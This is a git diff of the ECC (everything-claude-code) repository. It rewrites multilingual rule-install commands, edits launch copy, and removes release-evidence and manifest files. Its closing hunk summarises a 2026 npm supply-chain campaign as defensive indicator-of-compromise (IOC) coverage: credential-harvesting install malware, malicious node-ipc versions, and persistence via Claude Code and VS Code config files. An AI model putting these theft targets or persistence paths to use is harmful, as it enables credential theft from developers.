The repo is moving from a Claude Code config pack into a cross-harness operating system for agentic work.
|
||||
|
||||
@@ -55,7 +55,7 @@ ECC v2.0.0-rc.1 pushes that further: reusable skills, thin harness adapters, and
|
||||
## LinkedIn Post: Partner-Friendly Summary
|
||||
|
||||
```text
|
||||
ECC v2.0.0-rc.1 preview pack is ready for final release review.
|
||||
ECC v2.0.0-rc.1 is live.
|
||||
|
||||
The practical shift: ECC is no longer just a Claude Code config pack. It is becoming a cross-harness operating system for agentic work.
|
||||
|
||||
|
||||
@@ -122,12 +122,12 @@
|
||||
git clone https://github.com/affaan-m/everything-claude-code.git
|
||||
|
||||
# 共通ルールをインストール(必須)
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
|
||||
# 言語固有ルールをインストール(スタックを選択)
|
||||
cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript
|
||||
cp -r everything-claude-code/rules/python ~/.claude/rules/python
|
||||
cp -r everything-claude-code/rules/golang ~/.claude/rules/golang
|
||||
cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/python/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/golang/* ~/.claude/rules/
|
||||
```
|
||||
|
||||
### ステップ3:使用開始
|
||||
@@ -462,15 +462,15 @@ Duplicate hook file detected: ./hooks/hooks.json is already resolved to a loaded
|
||||
>
|
||||
> # オプション A:ユーザーレベルルール(すべてのプロジェクトに適用)
|
||||
> mkdir -p ~/.claude/rules
|
||||
> cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # スタックを選択
|
||||
> cp -r everything-claude-code/rules/python ~/.claude/rules/python
|
||||
> cp -r everything-claude-code/rules/golang ~/.claude/rules/golang
|
||||
> cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # スタックを選択
|
||||
> cp -r everything-claude-code/rules/python/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/golang/* ~/.claude/rules/
|
||||
>
|
||||
> # オプション B:プロジェクトレベルルール(現在のプロジェクトのみ)
|
||||
> mkdir -p .claude/rules
|
||||
> cp -r everything-claude-code/rules/common .claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript .claude/rules/typescript # スタックを選択
|
||||
> cp -r everything-claude-code/rules/common/* .claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* .claude/rules/ # スタックを選択
|
||||
> ```
|
||||
|
||||
---
|
||||
@@ -487,10 +487,10 @@ git clone https://github.com/affaan-m/everything-claude-code.git
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# ルール(共通 + 言語固有)をコピー
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # スタックを選択
|
||||
cp -r everything-claude-code/rules/python ~/.claude/rules/python
|
||||
cp -r everything-claude-code/rules/golang ~/.claude/rules/golang
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # スタックを選択
|
||||
cp -r everything-claude-code/rules/python/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/golang/* ~/.claude/rules/
|
||||
|
||||
# コマンドをコピー
|
||||
cp everything-claude-code/commands/*.md ~/.claude/commands/
|
||||
|
||||
@@ -169,13 +169,13 @@ Options:
|
||||
|
||||
インストールを実行:
|
||||
```bash
|
||||
# 共通ルール
|
||||
cp -r $ECC_ROOT/rules/common $TARGET/rules/common
|
||||
# 共通ルール(rules/ にフラットコピー)
|
||||
cp -r $ECC_ROOT/rules/common/* $TARGET/rules/
|
||||
|
||||
# 言語固有のルール(言語別ディレクトリを保持)
|
||||
cp -r $ECC_ROOT/rules/typescript $TARGET/rules/typescript # 選択された場合
|
||||
cp -r $ECC_ROOT/rules/python $TARGET/rules/python # 選択された場合
|
||||
cp -r $ECC_ROOT/rules/golang $TARGET/rules/golang # 選択された場合
|
||||
# 言語固有のルール(rules/ にフラットコピー)
|
||||
cp -r $ECC_ROOT/rules/typescript/* $TARGET/rules/ # 選択された場合
|
||||
cp -r $ECC_ROOT/rules/python/* $TARGET/rules/ # 選択された場合
|
||||
cp -r $ECC_ROOT/rules/golang/* $TARGET/rules/ # 選択された場合
|
||||
```
|
||||
|
||||
**重要**: ユーザーが言語固有のルールを選択したが、共通ルールを選択しなかった場合、警告します:
|
||||
|
||||
@@ -387,12 +387,12 @@ Claude Code v2.1+는 설치된 플러그인의 `hooks/hooks.json`을 **자동으
|
||||
>
|
||||
> # 옵션 A: 사용자 레벨 룰 (모든 프로젝트에 적용)
|
||||
> mkdir -p ~/.claude/rules
|
||||
> cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # 사용하는 스택 선택
|
||||
> cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # 사용하는 스택 선택
|
||||
>
|
||||
> # 옵션 B: 프로젝트 레벨 룰 (현재 프로젝트에만 적용)
|
||||
> mkdir -p .claude/rules
|
||||
> cp -r everything-claude-code/rules/common .claude/rules/common
|
||||
> cp -r everything-claude-code/rules/common/* .claude/rules/
|
||||
> ```
|
||||
|
||||
---
|
||||
@@ -409,8 +409,8 @@ git clone https://github.com/affaan-m/everything-claude-code.git
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# 룰 복사 (common + 언어별)
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # 사용하는 스택 선택
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # 사용하는 스택 선택
|
||||
|
||||
# 커맨드 복사
|
||||
cp everything-claude-code/commands/*.md ~/.claude/commands/
|
||||
@@ -573,7 +573,7 @@ MCP 서버가 너무 많으면 컨텍스트를 잡아먹습니다. 각 MCP 도
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# 룰만
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
```
|
||||
|
||||
각 컴포넌트는 완전히 독립적입니다.
|
||||
|
||||
@@ -342,12 +342,12 @@ Ou adicione diretamente ao seu `~/.claude/settings.json`:
|
||||
>
|
||||
> # Opção A: Regras no nível do usuário (aplica a todos os projetos)
|
||||
> mkdir -p ~/.claude/rules
|
||||
> cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # escolha sua stack
|
||||
> cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # escolha sua stack
|
||||
>
|
||||
> # Opção B: Regras no nível do projeto (aplica apenas ao projeto atual)
|
||||
> mkdir -p .claude/rules
|
||||
> cp -r everything-claude-code/rules/common .claude/rules/common
|
||||
> cp -r everything-claude-code/rules/common/* .claude/rules/
|
||||
> ```
|
||||
|
||||
---
|
||||
@@ -362,8 +362,8 @@ git clone https://github.com/affaan-m/everything-claude-code.git
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# Copiar regras (comuns + específicas da linguagem)
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/
|
||||
|
||||
# Copiar comandos
|
||||
cp everything-claude-code/commands/*.md ~/.claude/commands/
|
||||
|
||||
@@ -4,13 +4,9 @@
|
||||
|
||||
- verify local `main` is synced to `origin/main`
|
||||
- verify `docs/ECC-2.0-GA-ROADMAP.md` reflects the current Linear milestone plan
|
||||
and the May 15 `ECC Platform Roadmap` project under the Ito Markets workspace
|
||||
- verify `docs/HERMES-SETUP.md` is present
|
||||
- verify `docs/architecture/cross-harness.md` is present
|
||||
- verify this release directory is committed
|
||||
- verify `preview-pack-manifest.md` lists the public release, Hermes, adapter,
|
||||
observability, publication, and announcement artifacts before running final
|
||||
publish checks
|
||||
- keep private tokens, personal docs, and raw workspace exports out of the repo
|
||||
|
||||
## Release Surface
|
||||
@@ -18,8 +14,6 @@
|
||||
- verify package, plugin, marketplace, OpenCode, and agent metadata stays at `2.0.0-rc.1`
|
||||
- verify `ecc2/Cargo.toml` stays at `0.1.0` for rc.1; `ecc2/` remains an alpha control-plane scaffold
|
||||
- complete `publication-readiness.md` with fresh evidence before any GitHub release, npm publish, plugin submission, or announcement post
|
||||
- include `publication-evidence-2026-05-15.md` in the final evidence review,
|
||||
then rerun publish-facing checks from the exact release commit
|
||||
- update release metadata in one dedicated release-version PR
|
||||
- run the root test suite
|
||||
- run `cd ecc2 && cargo test`
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# LinkedIn Draft - ECC v2.0.0-rc.1
|
||||
|
||||
ECC v2.0.0-rc.1 is ready for final release review as the first release-candidate pass at the 2.0 direction.
|
||||
ECC v2.0.0-rc.1 is live as the first release-candidate pass at the 2.0 direction.
|
||||
|
||||
The practical shift is simple: ECC is no longer framed as only a Claude Code plugin or config bundle.
|
||||
|
||||
|
||||
@@ -1,97 +0,0 @@
|
||||
# ECC v2.0.0-rc.1 Preview Pack Manifest
|
||||
|
||||
This manifest defines the reviewed preview pack for `2.0.0-rc.1`. It is not a
|
||||
release action by itself. Use it to verify that the public launch surface is
|
||||
assembled before creating the GitHub prerelease, publishing npm, tagging plugin
|
||||
surfaces, or posting announcements.
|
||||
|
||||
## Pack Contents
|
||||
|
||||
| Artifact | Role | Gate |
|
||||
| --- | --- | --- |
|
||||
| `README.md` | Public onramp and install surface | Links Hermes setup, rc.1 notes, plugin install, manual install, reset, and uninstall guidance |
|
||||
| `docs/HERMES-SETUP.md` | Public Hermes operator topology | No raw workspace export, credentials, private account names, or local-only operator state |
|
||||
| `skills/hermes-imports/SKILL.md` | Sanitized Hermes-to-ECC import workflow | Includes import rules, sanitization checklist, conversion pattern, and output contract |
|
||||
| `docs/architecture/cross-harness.md` | Shared substrate model for Claude Code, Codex, OpenCode, Cursor, Gemini, Hermes, and terminal-only use | Names portability boundaries and does not claim unsupported native parity |
|
||||
| `docs/architecture/harness-adapter-compliance.md` | Adapter matrix and scorecard | Verified by `npm run harness:adapters -- --check` |
|
||||
| `docs/architecture/observability-readiness.md` | Local operator-readiness gate | Verified by `npm run observability:ready` |
|
||||
| `docs/architecture/progress-sync-contract.md` | GitHub, Linear, handoff, roadmap, and work-item sync boundary | Checked by `node scripts/platform-audit.js --format json --allow-untracked docs/drafts/` |
|
||||
| `docs/releases/2.0.0-rc.1/release-notes.md` | GitHub release copy source | Must be refreshed with final live release/package/plugin URLs before publication |
|
||||
| `docs/releases/2.0.0-rc.1/quickstart.md` | Clone-to-first-workflow path | Covers clone, install, verify, first skill, and harness switch |
|
||||
| `docs/releases/2.0.0-rc.1/launch-checklist.md` | Operator launch checklist | Must remain approval-gated for release, package, plugin, and announcement actions |
|
||||
| `docs/releases/2.0.0-rc.1/publication-readiness.md` | Release gate | Requires fresh evidence from the exact release commit |
|
||||
| `docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md` | Current May 15 queue, roadmap, security, and AgentShield evidence | Must be superseded by a final clean-checkout evidence file before real publication |
|
||||
| `docs/releases/2.0.0-rc.1/naming-and-publication-matrix.md` | Naming, slug, and publication-path decision record | Keeps `Everything Claude Code / ECC`, npm `ecc-universal`, and plugin slug `ecc` for rc.1 |
|
||||
| `docs/releases/2.0.0-rc.1/x-thread.md` | X launch draft | Must replace placeholders with live URLs after release/package/plugin publication |
|
||||
| `docs/releases/2.0.0-rc.1/linkedin-post.md` | LinkedIn launch draft | Must replace placeholders with live URLs after release/package/plugin publication |
|
||||
| `docs/releases/2.0.0-rc.1/article-outline.md` | Longform launch outline | Must stay release-candidate framed until GA evidence exists |
|
||||
| `docs/releases/2.0.0-rc.1/telegram-handoff.md` | Internal/shareable handoff copy | Must not include private workspace or credential details |
|
||||
| `docs/releases/2.0.0-rc.1/demo-prompts.md` | Demo prompts and proof-of-work prompts | Must keep private Hermes workflows abstracted into public examples |
|
||||
|
||||
## Hermes Skill Boundary
|
||||
|
||||
The preview pack includes one public Hermes-specialized skill:
|
||||
|
||||
- `skills/hermes-imports/SKILL.md`
|
||||
|
||||
That is intentional for rc.1. The skill is a sanitization and conversion
|
||||
workflow, not a dump of private Hermes automations. Additional Hermes-generated
|
||||
skills should enter ECC only after they pass the same rules:
|
||||
|
||||
- no raw workspace exports;
|
||||
- no live account names, client data, finance data, CRM data, health data, or
|
||||
private contact graph;
|
||||
- provider requirements described by capability, not by secret value;
|
||||
- repo-relative examples instead of local absolute paths;
|
||||
- tests or docs proving the workflow is useful without private state.
|
||||
|
||||
## Reference-Inspired Adapter Direction
|
||||
|
||||
The preview pack uses outside systems as design pressure, not as copy targets:
|
||||
|
||||
| Reference pressure | ECC preview-pack interpretation |
|
||||
| --- | --- |
|
||||
| Claude Code | Native plugin, skills, commands, hooks, MCP conventions, and statusline-oriented workflows |
|
||||
| Codex | Instruction-backed plugin metadata, shared skills, MCP reference config, and explicit hook-parity caveats |
|
||||
| OpenCode | Adapter-backed package/plugin surface with shared hook logic at the edge |
|
||||
| Zed-adjacent tools | Instruction-backed portability until a verified native adapter exists |
|
||||
| dmux | Session/runtime orchestration signals and handoff exports, not a replacement for repo validation |
|
||||
| Orca, Superset, Ghast | Reference-only pressure for worktree lifecycle, session grouping, notifications, and workspace presets |
|
||||
| Hermes Agent, meta-harness, autocontext-style systems | Evaluation, memory, and context-routing pressure routed through public artifacts, verifier outputs, and the evaluator/RAG prototype |
|
||||
|
||||
## Final Verification Commands
|
||||
|
||||
Run these from the exact release commit before publication:
|
||||
|
||||
```bash
|
||||
git status --short --branch
|
||||
node scripts/platform-audit.js --format json --allow-untracked docs/drafts/
|
||||
npm run harness:adapters -- --check
|
||||
npm run harness:audit -- --format json
|
||||
npm run observability:ready
|
||||
npm run security:ioc-scan
|
||||
npm audit --audit-level=high
|
||||
npm audit signatures
|
||||
node tests/docs/ecc2-release-surface.test.js
|
||||
node tests/run-all.js
|
||||
cd ecc2 && cargo test
|
||||
```
|
||||
|
||||
## Publication Blockers
|
||||
|
||||
The preview pack is assembled, but publication is still blocked until these live
|
||||
surfaces exist and are recorded in a final evidence file:
|
||||
|
||||
- GitHub prerelease `v2.0.0-rc.1`;
|
||||
- npm `ecc-universal@2.0.0-rc.1` on the `next` dist-tag;
|
||||
- Claude plugin tag / marketplace propagation for `ecc@ecc`;
|
||||
- Codex plugin publication or owner-approved manual submission path;
|
||||
- final announcement URLs in X, LinkedIn, GitHub release, and longform copy;
|
||||
- ECC Tools billing/product readiness evidence before any native-payments
|
||||
announcement copy is published.
|
||||
|
||||
## Result
|
||||
|
||||
The rc.1 preview pack is ready for a final clean-checkout release gate, but not
|
||||
for public publication without the approval-gated release, package, plugin, and
|
||||
announcement steps above.
|
||||
@@ -1,127 +0,0 @@
|
||||
# ECC v2.0.0-rc.1 Publication Evidence - 2026-05-15
|
||||
|
||||
This is release-readiness evidence only. It does not create a GitHub release,
|
||||
npm publication, plugin tag, marketplace submission, or announcement post.
|
||||
|
||||
## Source Commit
|
||||
|
||||
| Field | Evidence |
|
||||
| --- | --- |
|
||||
| Upstream main base | `acbc152375c215b4fe2a20abb29dfb733727c4cb` |
|
||||
| Evidence branch | `docs/ecc2-rc1-preview-pack-refresh` |
|
||||
| Evidence scope | Current `main` after PR #1921, #1924, #1925, #1926, and AgentShield #83 follow-up |
|
||||
| Git remote | `https://github.com/affaan-m/everything-claude-code.git` |
|
||||
| Local status caveat | Working tree had the unrelated untracked `docs/drafts/` directory before this docs refresh |
|
||||
|
||||
The actual release operator should repeat all publish-facing checks from the
|
||||
final release commit with a clean checkout before publishing.
|
||||
|
||||
## Queue And Discussion State
|
||||
|
||||
| Surface | Command | Result |
|
||||
| --- | --- | --- |
|
||||
| Trunk PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/everything-claude-code` | 0 open PRs, 0 open issues |
|
||||
| AgentShield PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/agentshield` | 0 open PRs, 0 open issues |
|
||||
| JARVIS PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/JARVIS` | 0 open PRs, 0 open issues |
|
||||
| ECC Tools PRs/issues | `env -u GITHUB_TOKEN gh pr list` and `env -u GITHUB_TOKEN gh issue list` for `ECC-Tools/ECC-Tools` | 0 open PRs, 0 open issues |
|
||||
| ECC website PRs/issues | `env -u GITHUB_TOKEN gh pr list` and `env -u GITHUB_TOKEN gh issue list` for `ECC-Tools/ECC-website` | 0 open PRs, 0 open issues |
|
||||
| Trunk discussions | GraphQL discussion count and maintainer-touch sweep | 58 total discussions; 0 without maintainer touch after May 15 maintainer comments |
|
||||
| Other repo discussions | GraphQL discussion count for AgentShield, JARVIS, ECC Tools, and ECC website | Discussions disabled or 0 total |
|
||||
|
||||
The ECC Tools organization is reachable with the configured GitHub host
|
||||
credential. In this shell, the exported `GITHUB_TOKEN` overrides that credential
|
||||
and causes false 404/403 failures for `ECC-Tools/*`. Use `env -u GITHUB_TOKEN`
|
||||
for ECC Tools verification commands until that environment override is cleaned
|
||||
up.
|
||||
|
||||
## Linear Roadmap State
|
||||
|
||||
The detailed execution roadmap now lives in Linear project:
|
||||
|
||||
<https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1>
|
||||
|
||||
The project contains 16 issue-level lanes and 5 milestones:
|
||||
|
||||
| Milestone | Issues |
|
||||
| --- | --- |
|
||||
| Security and Access Baseline | `ITO-44`, `ITO-57`, `ITO-58` |
|
||||
| ECC 2.0 Preview and Publication | `ITO-45`, `ITO-46`, `ITO-47`, `ITO-56` |
|
||||
| AgentShield Enterprise Iteration | `ITO-48`, `ITO-49` |
|
||||
| ECC Tools Next-Level Platform | `ITO-50`, `ITO-51`, `ITO-52`, `ITO-53`, `ITO-54`, `ITO-59` |
|
||||
| Legacy Audit and Salvage | `ITO-55` |
|
||||
|
||||
Project documents added in Linear:
|
||||
|
||||
- Roadmap Index and Current Execution Baseline
|
||||
- Status Update 2026-05-15
|
||||
- GitHub Queue Snapshot 2026-05-15
|
||||
- Completion Audit Snapshot 2026-05-15
|
||||
- Discussion Queue Evidence 2026-05-15
|
||||
- ECC-Tools Access Evidence 2026-05-15
|
||||
|
||||
## Supply-Chain Evidence
|
||||
|
||||
| Surface | Evidence |
|
||||
| --- | --- |
|
||||
| PR #1921 | Merged supply-chain IOC expansion for Mini Shai-Hulud/TanStack follow-up |
|
||||
| Node IPC follow-up / PR #1924 | Added May 14 `node-ipc` malicious-version, hash, DNS, and runtime IOC coverage |
|
||||
| PR #1926 | Added `platform:audit` and `security-ioc-scan` command surfaces plus release workflow IOC gates |
|
||||
| AgentShield PR #83 | Merged Mini Shai-Hulud IOC coverage for TanStack, Mistral, OpenSearch, Guardrails, UiPath, Squawk, Claude Code / VS Code persistence, and dead-man switch artifacts |
|
||||
| Trunk merge commits | `f04702bdac132662c8496e817bcd850c86e2b854`, `ee85e1482e3d6322ddb2706392ea0fc97469bd26`, `13585f1092c92fa3f20ffe0d756e40c5720b0de5` |
|
||||
| AgentShield merge commit | `f899b27ba3fa60ec7e0dca41cc2dadcb1a1fb75d` |
|
||||
| Local IOC tests | `node tests/ci/scan-supply-chain-iocs.test.js` passed 12/12 |
|
||||
| Unicode safety | `node scripts/ci/check-unicode-safety.js` passed |
|
||||
| IOC scan | `npm run security:ioc-scan` passed |
|
||||
| Root suite | `npm test` passed 2427/2427, 0 failed |
|
||||
| Repo sweeps | `node scripts/ci/scan-supply-chain-iocs.js --root <ECC-workspace> --home` passed with 1238 files inspected; targeted persistence path checks found no active `gh-token-monitor`, `pgsql-monitor`, `transformers.pyz`, or `pgmonitor.py` artifacts |
|
||||
|
||||
The May 15 IOC expansion added coverage for OpenSearch/Mistral/Guardrails/
|
||||
UiPath/Squawk-style campaign variants, `opensearch_init.js`, `vite_setup.mjs`,
|
||||
dead-drop/session protocol strings, and AI-tooling persistence surfaces without
|
||||
committing full high-entropy indicators that trip secret scanners.
|
||||
The May 15 node-ipc follow-up blocks `node-ipc@9.1.6`, `9.2.3`, `10.1.1`,
|
||||
`10.1.2`, `11.0.0`, `11.1.0`, and `12.0.1`, plus the `node-ipc.cjs` payload
|
||||
hash, malicious tarball hashes, DNS exfil domains, and runtime markers reported
|
||||
by Socket.
|
||||
AgentShield PR #83 adds the matching scanner-side enterprise coverage:
|
||||
version-pinned package detections, `.claude` / `.vscode` automation-surface
|
||||
discovery, `gh-token-monitor` LaunchAgent/systemd/local-bin artifact detection,
|
||||
network/payload IOCs, built action/CLI bundles, 1758/1758 local tests, and
|
||||
green GitHub Actions verification before merge.
|
||||
|
||||
## Preview Pack State
|
||||
|
||||
`preview-pack-manifest.md` now assembles the rc.1 preview-pack boundary:
|
||||
|
||||
- release notes, quickstart, launch checklist, publication readiness, naming
|
||||
matrix, and May 15 evidence;
|
||||
- `docs/HERMES-SETUP.md` and `skills/hermes-imports/SKILL.md` as the public
|
||||
Hermes-specialized surface;
|
||||
- cross-harness, harness-adapter, observability, and progress-sync docs;
|
||||
- X, LinkedIn, article, Telegram, and demo collateral that must receive final
|
||||
live URLs after release/package/plugin publication;
|
||||
- explicit blockers for GitHub release, npm `next` publish, Claude plugin,
|
||||
Codex plugin, ECC Tools billing/product-readiness, and announcements.
|
||||
|
||||
The preview pack is assembled for final clean-checkout gating, but it is still
|
||||
not a publication action.
|
||||
|
||||
## Current Publication Blockers
|
||||
|
||||
- GitHub prerelease `v2.0.0-rc.1` is still not created in this pass.
|
||||
- npm `ecc-universal@2.0.0-rc.1` is still not published to the `next` dist-tag.
|
||||
- Claude plugin tag and marketplace propagation remain approval-gated.
|
||||
- Codex plugin public marketplace/manual submission path still needs final
|
||||
owner verification.
|
||||
- ECC Tools billing claims are now GitHub-access-verifiable, but the billing
|
||||
product surface still needs a dedicated payment-readiness audit before any
|
||||
public payment announcement.
|
||||
- Release notes, X, LinkedIn, and longform copy still need final live URLs after
|
||||
release/package/plugin URLs exist.
|
||||
|
||||
## Result
|
||||
|
||||
The queue, discussion, Linear roadmap, and supply-chain evidence are fresher
|
||||
than the May 13 publication evidence. They improve readiness, but they do not
|
||||
replace the final clean-checkout publish pass required by
|
||||
`publication-readiness.md`.
|
||||
@@ -6,17 +6,12 @@ URLs from the exact commit being released.
|
||||
|
||||
For the current rc.1 naming decision and package/plugin publication path, see
|
||||
[`naming-and-publication-matrix.md`](naming-and-publication-matrix.md).
|
||||
For the assembled rc.1 preview pack boundary, see
|
||||
[`preview-pack-manifest.md`](preview-pack-manifest.md).
|
||||
For the May 12 dry-run evidence pass, see
|
||||
[`publication-evidence-2026-05-12.md`](publication-evidence-2026-05-12.md).
|
||||
For the May 13 release-readiness evidence refresh, see
|
||||
[`publication-evidence-2026-05-13.md`](publication-evidence-2026-05-13.md).
|
||||
For the May 13 post-hardening evidence refresh after PR #1850 and PR #1851, see
|
||||
[`publication-evidence-2026-05-13-post-hardening.md`](publication-evidence-2026-05-13-post-hardening.md).
|
||||
For the May 15 queue, discussion, Linear roadmap, and Mini Shai-Hulud/TanStack
|
||||
follow-up evidence refresh after PR #1921, see
|
||||
[`publication-evidence-2026-05-15.md`](publication-evidence-2026-05-15.md).
|
||||
|
||||
## Release Identity Matrix
|
||||
|
||||
@@ -44,8 +39,8 @@ follow-up evidence refresh after PR #1921, see
|
||||
| Claude plugin | Manifest validates, marketplace JSON points to public repo, install docs match slug | `claude plugin validate .claude-plugin/plugin.json`; `claude plugin tag .claude-plugin --dry-run`; isolated temp-home install smoke | `Blocker: real tag creation/push requires approval` | Plugin owner | Clean-checkout dry-run and install smoke recorded |
|
||||
| Codex plugin | Manifest version matches package and docs, hook limitations are explicit | `node tests/docs/ecc2-release-surface.test.js` | `Blocker: marketplace submission path still manual/owner-gated` | Plugin owner | Evidence recorded |
|
||||
| OpenCode package | Build output is regenerated from source and package metadata is current | `npm run build:opencode` | `Blocker: none for local build; public distribution still follows npm/plugin release` | Package owner | Evidence recorded |
|
||||
| ECC Tools billing reference | Any billing claim links to verified Marketplace/App state | `env -u GITHUB_TOKEN gh repo view ECC-Tools/ECC-Tools --json nameWithOwner,isPrivate,viewerPermission` plus app/marketplace URL check | `Blocker: repo access verified on 2026-05-15; billing/product readiness still requires dedicated ECC Tools audit` | ECC Tools owner | Access verified; billing audit pending |
|
||||
| Announcement copy | X, LinkedIn, GitHub release, and longform copy point to live URLs | `rg -n "TODO" docs/releases/2.0.0-rc.1` and repeat for `TBD` | `Blocker: final live release/npm/plugin URLs do not exist yet` | Release owner | Pending |
|
||||
| ECC Tools billing reference | Any billing claim links to verified Marketplace/App state | `gh api repos/ECC-Tools/ECC-Tools` plus app/marketplace URL check | `Blocker:` | ECC Tools owner | Pending |
|
||||
| Announcement copy | X, LinkedIn, GitHub release, and longform copy point to live URLs | `rg -n "TODO" docs/releases/2.0.0-rc.1` and repeat for `TBD` | `Blocker:` | Release owner | Pending |
|
||||
| Privileged workflow hardening | Release and maintenance workflows avoid persisted checkout tokens | `node scripts/ci/validate-workflow-security.js` | `Blocker:` | Release owner | Evidence recorded in post-hardening refresh |
|
||||
|
||||
## Required Command Evidence
|
||||
@@ -65,9 +60,6 @@ Record the exact commit SHA and command output before any publication action:
|
||||
| Package surface | `node tests/scripts/npm-publish-surface.test.js` | 0 failures; no Python bytecode in npm tarball | `2/2` passed in May 12 evidence pass |
|
||||
| Release surface | `node tests/docs/ecc2-release-surface.test.js` | 0 failures | `publication-evidence-2026-05-13.md`: 18/18 passed |
|
||||
| Optional Rust surface | `cd ecc2 && cargo test` | 0 failures or explicit deferral | `publication-evidence-2026-05-13.md`: 462/462 passed, warnings only |
|
||||
| Queue baseline | `gh pr list` / `gh issue list` across trunk, AgentShield, JARVIS, ECC Tools, and ECC website | Under 20 open PRs and under 20 open issues | `publication-evidence-2026-05-15.md`: 0 open PRs and 0 open issues across checked repos |
|
||||
| Discussion baseline | GraphQL discussion count and maintainer-touch sweep | No unmanaged active discussion queue | `publication-evidence-2026-05-15.md`: 58 trunk discussions, 0 without maintainer touch; other tracked repos disabled or 0 |
|
||||
| Linear roadmap | Linear project and issue readback | Detailed roadmap exists with release, security, AgentShield, ECC Tools, legacy, and observability lanes | `publication-evidence-2026-05-15.md`: project and 16 issue lanes recorded |
|
||||
|
||||
## Do Not Publish If
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@ Claude Code remains a core target. Codex, OpenCode, Cursor, Gemini, and other ha
|
||||
- Documented the cross-harness portability model for skills, hooks, MCPs, rules, and instructions.
|
||||
- Added a Hermes import playbook for turning local operator patterns into publishable ECC skills.
|
||||
- Added a local [observability readiness gate](../../architecture/observability-readiness.md) for loop status, session traces, harness audit, and ECC2 tool-risk logs.
|
||||
- Refreshed the release-readiness evidence after the May 2026 Mini Shai-Hulud/TanStack campaign follow-up, including expanded IOC coverage, clean queue/discussion checks, and a detailed Linear roadmap gate.
|
||||
|
||||
## Why This Matters
|
||||
|
||||
@@ -38,7 +37,6 @@ What ships in this surface:
|
||||
- release notes and launch collateral
|
||||
- cross-harness architecture documentation
|
||||
- Hermes import guidance for sanitized operator workflows
|
||||
- publication-readiness evidence for queue state, discussion state, Linear roadmap coverage, and supply-chain follow-up
|
||||
|
||||
What stays local:
|
||||
|
||||
|
||||
@@ -7,44 +7,16 @@ they do not prove that the workflow executed the intended code path.
|
||||
|
||||
## Current External Trigger
|
||||
|
||||
As of 2026-05-15, the active incident class is the May 2026 TanStack npm
|
||||
supply-chain compromise and broader Mini Shai-Hulud campaign. ECC keeps the
|
||||
same IOC sweep for the related npm/PyPI waves because these incidents target
|
||||
package install/publish paths, AI developer-tool configs, and developer
|
||||
credentials:
|
||||
As of 2026-05-13, the active incident class is the May 2026 TanStack npm
|
||||
supply-chain compromise. ECC also keeps Mini Shai-Hulud-style npm worm IOCs in
|
||||
the same release-safety sweep because both incident classes target package
|
||||
install/publish paths and developer credentials:
|
||||
|
||||
- TanStack reported 84 malicious versions across 42 `@tanstack/*` packages,
|
||||
published on 2026-05-11 between 19:20 and 19:26 UTC.
|
||||
- GitHub advisory `GHSA-g7cv-rxg3-hmpx` / `CVE-2026-45321` describes
|
||||
install-time malware that harvests cloud credentials, GitHub tokens, npm
|
||||
credentials, Vault tokens, Kubernetes tokens, and SSH private keys.
|
||||
- Follow-on reporting from StepSecurity, Socket, Aikido, and Wiz describes the
|
||||
same campaign expanding into packages associated with Mistral AI, UiPath,
|
||||
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
|
||||
- Socket's 2026-05-14 `node-ipc` report describes a separate active npm
|
||||
compromise affecting `node-ipc` versions `9.1.6`, `9.2.3`, and `12.0.1`,
|
||||
with historical malicious `node-ipc` versions also blocked by ECC because
|
||||
they carried destructive or unauthorized file-writing behavior.
|
||||
- The live IOC set includes persistence through Claude Code
|
||||
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
|
||||
`gh-token-monitor` LaunchAgent/systemd services. Some variants add a
|
||||
dead-man-switch token description
|
||||
